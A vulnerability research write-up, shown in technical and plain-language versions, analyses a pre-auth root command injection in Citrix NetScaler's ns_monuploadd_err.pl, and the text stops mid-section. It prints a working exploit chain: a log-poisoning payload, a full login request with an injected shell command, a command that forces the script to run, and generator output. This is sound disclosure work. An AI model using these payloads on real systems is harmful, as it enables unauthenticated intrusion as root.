Oh Look, The Foot Gun Went Off Again (Citrix NetScaler PreAuth Command Injection CVE-2026-88771)
A Perl script on Citrix NetScaler built a shell command from unvalidated log text, so an unauthenticated attacker could inject commands that ran as root. The attacker only needed to send a crafted login request that ended up in the logs.
Published on labs.watchtowr.com
This research is a glimpse into the capability powering the watchTowr Platform, a Preemptive Exposure Management solution. We enable organizations to autonomously validate and mitigate their exposure to emerging threats, ahead of in-the-wild exploitation.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Citrix NetScaler, rebranded and then un-rebranded in the way only enterprise networking vendors manage, is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network. NetScaler handles load balancing, SSL offloading, authentication and remote access, and NetScaler Gateway specifically serves as the front door for thousands of organisations' remote access infrastructure.
CVE-2026-88771 is a pre-auth command injection in that product. It is one of eight vulnerabilities Citrix fixed in a single bulletin, CTX697096. It affects the default configuration and was exploited in the wild as a zero-day before any fix existed. The advisory describes it as improper input validation that lets an unauthenticated attacker run arbitrary commands.
The bulletin covers the following:
| CVE | Description | CVSS 4.0 | Exploited in the Wild |
|---|---|---|---|
| CVE-2026-88771 | Improper input validation that lets an unauthenticated attacker run arbitrary commands. Affects the default configuration. | 9.5 Critical | Yes |
| CVE-2026-88772 | Memory overflow that can lead to remote code execution or denial of service when DTLS is enabled (the default for VPN virtual servers). | 9.5 Critical | Yes |
| CVE-2026-88773 | HTTP request smuggling (inconsistent interpretation of HTTP requests). Depends on specific configurations. | 9.3 Critical | Not reported |
| CVE-2026-88774 | NetScaler ADC and NetScaler Gateway vulnerability. Depends on specific configurations. | 7.0 High | Not reported |
| CVE-2026-88775 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88776 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88777 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88778 | Predictable value from previous values. Fixed by enabling Enhanced ISN Generation, not by the upgrade alone. | 8.8 High | Not reported |
The advisory recommends updating to these fixed versions:
- Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases
- Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1
- Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS and later releases of 14.1-FIPS
- Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.279 and later releases of 13.1-FIPS and 13.1-NDcPP
Setup
To analyse the vulnerability, the researcher set up a Citrix NetScaler appliance and compared two versions using the usual "what the hell has changed" process:
- Vulnerable: NetScaler 14.1 build 73.30
- Different: NetScaler 14.1 build 73.37
For the request shown later, the researcher notes that Hackvertor needs to be installed to encode the login field if you are using Burp or a similar tool.
Finding it
Of the many vulnerabilities in the advisory, the researcher focused on CVE-2026-88771, the default-configuration RCE known to be exploited in the wild, because it is the most impactful and interesting from a "why does the world exist in this way?" perspective.
Given long experience reverse engineering the nsppe binary, where almost all of the vulnerabilities from the past decade in Citrix NetScaler have existed, the researcher initially suspected NSPPE would be the culprit. This time it was not. The CWE in the Citrix advisory looked more like "intended NetScaler functionality", yet somehow different to normal:
A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands.
Improper input validation that results in command execution. Given the experience with nsppe, the researcher suspected it was very unlikely that command injection existed there, and looked elsewhere instead.
One of the interesting files that changed was ns_monuploadd_err.pl. Diffing it gave the following output:
diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl
--- a/netscaler/ns_monuploadd_err.pl # 14.1-73.30
+++ b/netscaler/ns_monuploadd_err.pl # 14.1-73.37
@@
-my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
+my $WR_PPE_COREFILE_NAME = "";
+my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
+for my $log (@WR_FILES) {
+ open my $fh, '<', $log or next;
+ while (my $line = <$fh>) {
+ $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
+ }
+ close $fh;
+}
@@
-chomp($WR_PPE_COREFILE_NAME);
-my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
+my $WR_PPE_CORE = "";
+if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
+ '(', '-name', $WR_PPE_COREFILE_NAME,
+ '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
+{
+ while (my $found = <$find>) {
+ chomp $found;
+ if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
+ $WR_PPE_CORE = $found;
+ }
+ }
+ close $find;
+}
The old code appears to be trying to recover the name of a crashed nsppe core file. A real Pitboss message stored in .log files looks like this:
pitboss: NSPPE-00 (12345) unexpectedly died
A matching core file would normally be named something like:
NSPPE-00-12345
Exploitation
Step 1: Understand the old command chain
The first removed expression starts a command chain. At [1], the backticks tell Perl to run the enclosed text as a shell command and return its output. The chain then does the following:
grepsearches the log files for a Pitboss PPE failure message.tail -1keeps the last matching line.sedremoves everything beforeNSPPEand removes parentheses.awktakes the first two whitespace-separated fields and joins them with a hyphen.
For a log message like this:
NSPPE-00 (12345) unexpectedly died
the Perl code first removes the parentheses:
NSPPE-00 12345 unexpectedly died
Then it prints field 1, a hyphen and field 2:
NSPPE-00-12345
The problem is that the script never verifies that those first two fields are really an nsppe core file name and a numeric process ID. It trusts whatever text the log contains after the word NSPPE.
Step 2: Poison the log with a crafted login value
An attacker-controlled log record could contain:
pitboss PPE unexpectedly died NSPPE-00;id>/tmp/watchTowr; X Y
After sed and awk, the value stored in $WR_PPE_COREFILE_NAME is similar to:
NSPPE-00;id>/tmp/watchTowr;-X
At this point the semicolons are only characters inside a Perl string. The first pipeline does not execute them. The command injection happens in the next line, when Perl interpolates that string into another backtick command:
my $WR_PPE_CORE =
`find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
When that line runs, the shell receives something equivalent to:
find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* -print | tail -1
The shell treats the semicolon as a command separator. It first runs the find command, then runs the injected payload. The last part fails, but the injected command has already executed as root, because pretty much everything on a Citrix NetScaler runs as root.
Step 3: Trigger the vulnerability with a pre-auth request
A simple pre-auth request can trigger the vulnerability. The login field needs to be encoded (the researcher used Hackvertor for this):
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On
The response:
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
<AuthenticateResponse xmlns="<http://citrix.com/authentication/response/1>"><Status>success</Status><Result>update-credentials</Result><StateContext>ctx_hintYYYYYYY</StateContext><AuthenticationRequirements><PostBack>/nf/auth/doCredentialUpdate.do</PostBack><CancelPostBack>/nf/auth/doCancelCredentialUpdate.do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Requirement><Credential><Type>none</Type></Credential><Label><Text>nsg_changepass</Text><Type>nsg-login-heading</Type></Label><Input/></Requirement><Requirement><Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential><Label><Text>nsg_username</Text><Type>nsg-login-label</Type></Label><Input><Text><ReadOnly>true</ReadOnly><InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue></Text></Input></Requirement><Requirement><Credential><ID>oldpwd</ID><Type>password</Type></Credential><Label><Text>nsg_oldpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><SaveID>passwd</SaveID><ID>newpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_newpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><ID>confirmedpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_confirmpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><Type>none</Type></Credential><Label><Text></Text><Type>nsg-change-pass-assistive-text</Type></Label><Input/></Requirement><Requirement><Credential><ID>ns-dialogue-submit</ID><Type>none</Type></Credential><Input><Button>Submit</Button></Input></Requirement></Requirements></AuthenticationRequirements></AuthenticateResponse>
The vulnerability is not limited to a single endpoint. Any endpoint or port that logs data controlled in an HTTP header can trigger it. Failed login attempts, users blocked by rate limits, request parameters and User-Agent headers can all end up in the logs, so many combinations exist. Even the Citrix management interface is not safe.
The request above causes the following entries to be logged:
<local0.info> xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor <xxxx>, auth type 4129, trans id 1350"
<local1.info> xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70
<local0.info> xxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: <pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X>, factor: <xxxxx>, trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
Step 4: Wait for the script to run, or force it
The command injection does not trigger instantly. You have to wait for ns_monuploadd_err.pl to run, which can take up to 24 hours. To force execution, the following command can be run (the researcher mentions having possibly found a technique to force it to fire instantly, but keeps that to themselves for now):
/netscaler/ns_monuploadd_err.pl -WR
Step 5: Confirm command execution
Checking whether the command executed:
root@netscaler# ls -la /var/tmp/watchTowr
-rw-r--r-- 1 root wheel 41 Sep 28 09:21 /var/tmp/watchTowr
root@netscaler# cat /var/tmp/watchTowr
uid=0(root) gid=0(wheel) groups=0(wheel)
root@netscaler#
Step 6: Detection artefact generator
The researcher published a Detection Artefact Generator to determine your own susceptibility and inform remediation. It is on GitHub at watchtowrlabs/watchTowr-vs-Citrix-Netscaler-CVE-2026-88771. Running it looks like this:
./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://all-ur-boxen/ --command 'id>/var/tmp/watchTowr'
__ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
(*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-88771]
[+] connected to https://all-ur-boxen/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done
Root cause
The mistake is in ns_monuploadd_err.pl. The old code builds a core file name by piping log contents through grep, sed and awk, and never verifies that the extracted fields are really an nsppe core file name and a numeric process ID. That string is then interpolated into a second backtick command, find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1, which Perl hands to a shell. Shell metacharacters in the log-derived value, such as semicolons, are therefore interpreted as command separators. Because the script runs as root, the injected command runs as root.
The old code's sed and awk pipeline stripped parentheses and picked two fields, but did not constrain the characters in those fields. It did not constrain the characters in those fields, so it did not stop the injection.
Impact
An unauthenticated attacker can execute arbitrary commands on a Citrix NetScaler appliance in its default configuration. The injected command runs as root, because pretty much everything on a Citrix NetScaler runs as root. The vulnerability was exploited in the wild as a zero-day before any fix existed.
Triggering requires that attacker-controlled data reaches the logs that ns_monuploadd_err.pl reads. The researcher notes that any endpoint or port that logs data controlled in an HTTP header can trigger it, including failed login attempts, users blocked by rate limits, request parameters and User-Agent headers, and that even the Citrix management interface is not safe. Execution is not immediate: the script runs on a schedule that can take up to 24 hours, unless it is forced.
Fix
The fixed script replaces the grep | sed | awk pipeline with normal Perl file handling. It reads each log line and applies this regular expression:
qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/
The two captured values are deliberately narrow:
(NSPPE-\d{2})accepts a Packet Engine name such asNSPPE-00.(\d+)accepts only a numeric process ID.
The filename is then created only from those captures:
$WR_PPE_COREFILE_NAME = "$1-$2";
Even if the rest of the log line contains semicolons, pipes, backticks or redirection characters, those characters are not copied into the filename.
The second change starts find using Perl's list form:
open my $find, '-|', 'find', '/var/core', '-type', 'f', ...
Each value is passed to find as a separate argument. Perl does not build a command string and does not start /bin/sh, so shell metacharacters cannot be interpreted as commands. The search was also tightened from the prefix pattern NAME* to only the exact core filename or its exact .gz form.
Finally, the returned path must match:
/\A[A-Za-z0-9\/\-.]+\z/
The \A and \z anchors require the whole path to match. Only letters, digits, /, - and . are allowed. This is defence in depth, because the path is later used by older backtick commands elsewhere in the script.
In short, the patch constructs the core name from strictly validated fields and executes find without involving a shell.
Variants to test
- Other endpoints that log attacker-controlled data. Send the payload in request parameters, the User-Agent header, or values that appear in failed login attempts and rate-limit messages. A positive result is the payload appearing verbatim in the NetScaler logs, followed by the injected command's output file appearing after the script runs.
- The management interface. The researcher states it is not safe either. A positive result is the same log poisoning and subsequent command execution on that interface.
- Other ports and services. Any port that logs HTTP-header-controlled data can trigger the vulnerability. A positive result is the payload in the log and the command executing as root.
- Forcing the script. Run
/netscaler/ns_monuploadd_err.pl -WRon a test appliance after poisoning the logs. A positive result is the injected command's output file appearing after the script is run. - A positive result is a value containing shell metacharacters reaching a shell.
What happened, in plain words
Citrix makes a piece of software called NetScaler. Large companies put it at the edge of their network, and it acts as the front door for people working from home: staff connect to it, log in, and it lets them reach internal systems. It also spreads incoming traffic across several servers and handles the encryption for websites.
Citrix published a blog post about security by design. The researchers at watchTowr found that post funny, given that the world already knew about serious flaws in NetScaler before Citrix had acknowledged them. The post is shown below.

One of those flaws is CVE-2026-88771. A CVE is a public catalogue number given to a specific security bug, so people can talk about it without confusion. This particular bug lets someone who has not logged in at all run their own commands on the appliance. That is called a pre-auth command injection, and it is about as bad as it gets: the attacker does not need a username, a password or any account.
Citrix fixed eight bugs at once in a single security bulletin, numbered CTX697096. The researchers picked CVE-2026-88771 to study because it works in the default configuration (no special settings needed), and because it was already being used by real attackers before a fix existed. A bug used before the vendor has a patch is called a zero-day.
The researchers also poke fun at the situation: they say they found a picture of their favourite software developer, who they imagine works at Citrix, and that they call this imaginary person AGI.

They then offer, jokingly, to act as an unpaid extension of Citrix's PSIRT. A PSIRT is the team inside a software company that handles reports of security problems.

They also warn that a low-quality, machine-generated article carrying their name is circulating on another website, and that it is not theirs.
The product, and why it matters
NetScaler is a family of appliances: physical boxes or virtual machines that sit in a data centre. They do several jobs at once:
- Load balancing: spreading incoming requests over several web servers so no single one is overwhelmed. Think of a supermarket opening more tills when the queue grows.
- SSL offloading: handling the encryption (the padlock in your browser) in one place, so the servers behind it do not each have to.
- Authentication: checking who a user is before letting them in.
- Remote access: providing the VPN-style front door that staff use from outside the office.
Because it is the front door, a flaw in NetScaler is a flaw in the front door of thousands of organisations at once. That is why the researchers were blunt: given active exploitation and the kind of organisations that run NetScalers, appliances should be taken offline, and the situation was going to be bad.
The eight bugs in one bulletin
Citrix's advisory lists eight separate problems. A CVSS score is a standard 0 to 10 severity rating, where 10 is the worst. "Exploited in the wild" means real attackers have been seen using it, not just researchers in a lab.
| CVE | Description | CVSS 4.0 | Exploited in the Wild |
|---|---|---|---|
| CVE-2026-88771 | Improper input validation that lets an unauthenticated attacker run arbitrary commands. Affects the default configuration. | 9.5 Critical | Yes |
| CVE-2026-88772 | Memory overflow that can lead to remote code execution or denial of service when DTLS is enabled (the default for VPN virtual servers). | 9.5 Critical | Yes |
| CVE-2026-88773 | HTTP request smuggling (inconsistent interpretation of HTTP requests). Depends on specific configurations. | 9.3 Critical | Not reported |
| CVE-2026-88774 | NetScaler ADC and NetScaler Gateway vulnerability. Depends on specific configurations. | 7.0 High | Not reported |
| CVE-2026-88775 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88776 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88777 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88778 | Predictable value from previous values. Fixed by enabling Enhanced ISN Generation, not by the upgrade alone. | 8.8 High | Not reported |
A few of those terms deserve a plain explanation:
- Memory overflow: the program writes more data into a memory area than fits, spilling into neighbouring memory. It can crash the program or, worse, let an attacker steer what it does next.
- Denial of service: making a service unavailable, for example by crashing it.
- DTLS: the encrypted transport used for UDP traffic, which VPN connections often use.
- HTTP request smuggling: two pieces of software disagree about where one HTTP request ends and the next begins, so an attacker can sneak a hidden request past the front door.
- Enhanced ISN Generation: a setting that makes certain internal sequence numbers unpredictable. The advisory says the upgrade alone does not fix CVE-2026-88778; that setting must be turned on too.
Citrix's advisory says to update to these fixed versions:
- Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases
- Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1
- Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS and later releases of 14.1-FIPS
- Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.279 and later releases of 13.1-FIPS and 13.1-NDcPP
Setting up a lab
To study the bug, the researcher installed a NetScaler appliance and compared two versions of its software, looking for what changed between them. This is a common technique: if you have an old version with the bug and a new version with the fix, the difference between them often points straight at the faulty code. The two versions were:
- Vulnerable: NetScaler 14.1 build 73.30
- Different: NetScaler 14.1 build 73.37
For the attack request shown later, the researcher notes that a browser extension called Hackvertor is needed to encode the login field if you are using Burp or a similar tool. Burp is a program that lets you intercept and edit web traffic; Hackvertor adds encoding helpers to it.
Finding the bug
NetScaler contains a program called nsppe, short for NetScaler Packet Processing Engine. It handles network packets and has been the home of almost every NetScaler vulnerability of the past decade. The researcher, having spent years reverse engineering it, expected the culprit to be there again. Reverse engineering means taking software apart to understand how it works without having its source code.
This time it was not nsppe. The advisory's description, quoted below, sounded like normal NetScaler behaviour gone slightly wrong rather than a classic memory bug:
A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands.
"Improper input validation" means the software accepts input from a user without checking it properly. "Remote code execution" means an attacker can make the machine run their own commands. So the researcher looked elsewhere, and found a changed file called ns_monuploadd_err.pl.
A .pl file is a script written in the Perl programming language. Perl is an older language still widely used for system administration tasks on Unix-like systems. This particular script deals with error monitoring: it looks for signs that a core file exists. A core file is a snapshot of a program's memory, written to disk when the program crashes, so engineers can later work out what went wrong.
Comparing the old and new versions of that file gave this difference. Lines starting with - are the old, vulnerable code; lines starting with + are the new, fixed code:
diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl
--- a/netscaler/ns_monuploadd_err.pl # 14.1-73.30
+++ b/netscaler/ns_monuploadd_err.pl # 14.1-73.37
@@
-my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
+my $WR_PPE_COREFILE_NAME = "";
+my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
+for my $log (@WR_FILES) {
+ open my $fh, '<', $log or next;
+ while (my $line = <$fh>) {
+ $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
+ }
+ close $fh;
+}
@@
-chomp($WR_PPE_COREFILE_NAME);
-my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
+my $WR_PPE_CORE = "";
+if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
+ '(', '-name', $WR_PPE_COREFILE_NAME,
+ '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
+{
+ while (my $found = <$find>) {
+ chomp $found;
+ if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
+ $WR_PPE_CORE = $found;
+ }
+ }
+ close $find;
+}
What this shows, in plain words:
- The old code (the
-lines) builds a filename by running several command-line tools in a chain and storing the result in a variable called$WR_PPE_COREFILE_NAME. A variable is a named box that holds a value. - The new code (the
+lines) throws that chain away. It opens each log file itself, reads it line by line, and only accepts a line that matches a strict pattern. It then builds the filename from two small pieces of that line. - The second half does the same for a search command called
find: the old version pastes the filename into a command string, the new version passes it as a separate, safely quoted argument and then checks the result.
To understand what the old code was trying to do, you need to know what a normal log line looks like. NetScaler has a supervisor process called Pitboss that watches the other processes. When the packet engine dies, Pitboss writes a line like this into a log file:
pitboss: NSPPE-00 (12345) unexpectedly died
Read that as: the process named NSPPE-00 (packet engine number 00) with process ID 12345 died without warning. A process ID is the number the operating system gives each running program so it can be tracked. The matching core file would normally be named after both:
NSPPE-00-12345
So the script's job is: find the most recent crash line in the logs, work out the core file's name from it, and then locate that file on disk. That is a sensible job. The problem is how the old code did it.
Step 1: how the old command chain worked
The first removed line starts a chain of commands. The backticks (the ` characters) are a Perl feature: everything between them is handed to the operating system's shell to run as a command, and whatever the command prints is returned as a value. A shell is the program that reads typed commands and runs them; on Linux it is usually /bin/sh or bash.
The chain does four things in sequence:
grepsearches the log files for a Pitboss message saying the packet engine missed heartbeats or died unexpectedly.grepis a tool that prints lines matching a pattern.tail -1keeps only the last matching line, i.e. the most recent crash.sedremoves everything before the wordNSPPEand strips out the parentheses.sedis a tool for editing text with find-and-replace rules.awktakes the first two whitespace-separated fields and joins them with a hyphen.awkis a tool for picking columns out of text.
It looks complicated because it is a chain of small tools, each passing its output to the next, like a factory line. Here is the same thing worked through by hand. Start with a log line:
NSPPE-00 (12345) unexpectedly died
After the parentheses are removed, it reads:
NSPPE-00 12345 unexpectedly died
Then awk prints field 1, a hyphen, and field 2:
NSPPE-00-12345
That is exactly the core filename we want. The flaw is that nothing checks that those first two fields really are a packet engine name and a number. The script simply trusts whatever text appears in the log after the word NSPPE. If an attacker can get text of their choosing into that log, they control part of a filename that is later used in a command.
Step 2: poisoning the log
Here is an example of a malicious log line an attacker could cause to be written:
pitboss PPE unexpectedly died NSPPE-00;id>/tmp/watchTowr; X Y
After sed and awk process it, the value stored in $WR_PPE_COREFILE_NAME looks roughly like this:
NSPPE-00;id>/tmp/watchTowr;-X
At this point nothing has happened yet. The semicolons are just characters inside a text string. The first command chain does not run them, because they are only data at that stage.
The damage happens on the next line, where Perl takes that string and pastes it into another backtick command:
my $WR_PPE_CORE =
`find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
Line by line:
my $WR_PPE_CORE =creates a variable to hold the result.- The backticks mean "run this as a shell command and give me its output".
${WR_PPE_COREFILE_NAME}is replaced by the contents of the variable, whatever they are.find /var/core -name ... -printsearches the/var/coredirectory for files with a matching name and prints their paths.| tail -1keeps only the last line of that output.
Because the variable's contents are pasted in without any quoting, the shell sees this:
find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* -print | tail -1
A semicolon in a shell command means "end of this command, start another one". So the shell actually runs three things:
find /var/core -name NSPPE-00runs first.id>/tmp/watchTowrruns second.idis a command that prints who the current user is, and>redirects that output into a file. So this writes the current user's identity into/tmp/watchTowr.-X* -print | tail -1runs third and fails, because-Xis not a command. Nobody cares: the injected command has already run.
A useful everyday comparison is a form that asks for your name and then a clerk reads it out to a colleague as an instruction. If you write "Alice, and also open the safe" in the name field, a careless clerk might do both.
The injected command runs as root. Root is the all-powerful administrator account on Linux, with no restrictions. On a NetScaler, almost everything runs as root, so a command injected into this script gets the highest possible privileges. The researchers suggest this is how APT groups have presumably been ravaging networks in secret.
Step 3: triggering it with a single request
The researchers then showed that a simple request, sent before logging in, is enough to trigger the bug. A request is what your browser sends to a website when you visit it; here it is sent with a tool so it can be edited by hand. The login field has to be URL-encoded, which means replacing characters that are not allowed in a URL with safe codes such as %3B for a semicolon. Hackvertor does that encoding inside Burp.
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On
Line by line:
POST /nf/auth/doAuthentication.do HTTP/1.1is the request line.POSTmeans "here is some data for you to process". The path/nf/auth/doAuthentication.dois the login handler on the appliance.HTTP/1.1is the version of the web protocol being used.Host: netscaler-aaa-servertells the server which site name the request is for. One server can host many names, so the request has to say which one it wants.Content-Type: application/x-www-form-urlencodedsays the body is a set of form fields, the same format a browser uses when you submit a login form.- The blank line separates the headers from the body.
login=starts the username field. The<@urlencode_all>...</@urlencode_all>markers are Hackvertor's way of saying "encode everything between these tags".- The payload inside is
pitboss PPE unexpectedly died NSPPE;:id>/var/tmp/watchTowr;# X. It is written to look like a Pitboss crash message, so the log will contain it. The;ends the first command, the backticks runid>/var/tmp/watchTowr, and the#starts a comment so the rest is ignored by the shell. &passwd=xsupplies a dummy password,&savecredentials=falsesays not to remember it, and&nsg-x1-logon-button=Log+Onmimics the login button being pressed.
The server answered with a normal-looking login page response:
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src <http://localhost>:* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
<AuthenticateResponse xmlns="<http://citrix.com/authentication/response/1>"><Status>success</Status><Result>update-credentials</Result><StateContext>ctx_hintYYYYYYY</StateContext><AuthenticationRequirements><PostBack>/nf/auth/doCredentialUpdate.do</PostBack><CancelPostBack>/nf/auth/doCancelCredentialUpdate.do</CancelPostBack><CancelButtonText>Cancel</CancelButtonText><Requirements><Requirement><Credential><Type>none</Type></Credential><Label><Text>nsg_changepass</Text><Type>nsg-login-heading</Type></Label><Input/></Requirement><Requirement><Credential><SaveID>login</SaveID><ID>username</ID><Type>username</Type></Credential><Label><Text>nsg_username</Text><Type>nsg-login-label</Type></Label><Input><Text><ReadOnly>true</ReadOnly><InitialValue>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# X</InitialValue></Text></Input></Requirement><Requirement><Credential><ID>oldpwd</ID><Type>password</Type></Credential><Label><Text>nsg_oldpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><SaveID>passwd</SaveID><ID>newpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_newpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><ID>confirmedpwd</ID><Type>newpassword</Type></Credential><Label><Text>nsg_confirmpass</Text><Type>nsg-login-label</Type></Label><Input><Text><Secret>true</Secret><Constraint>.+</Constraint></Text></Input></Requirement><Requirement><Credential><Type>none</Type></Credential><Label><Text></Text><Type>nsg-change-pass-assistive-text</Type></Label><Input/></Requirement><Requirement><Credential><ID>ns-dialogue-submit</ID><Type>none</Type></Credential><Input><Button>Submit</Button></Input></Requirement></Requirements></AuthenticationRequirements></AuthenticateResponse>
What matters here:
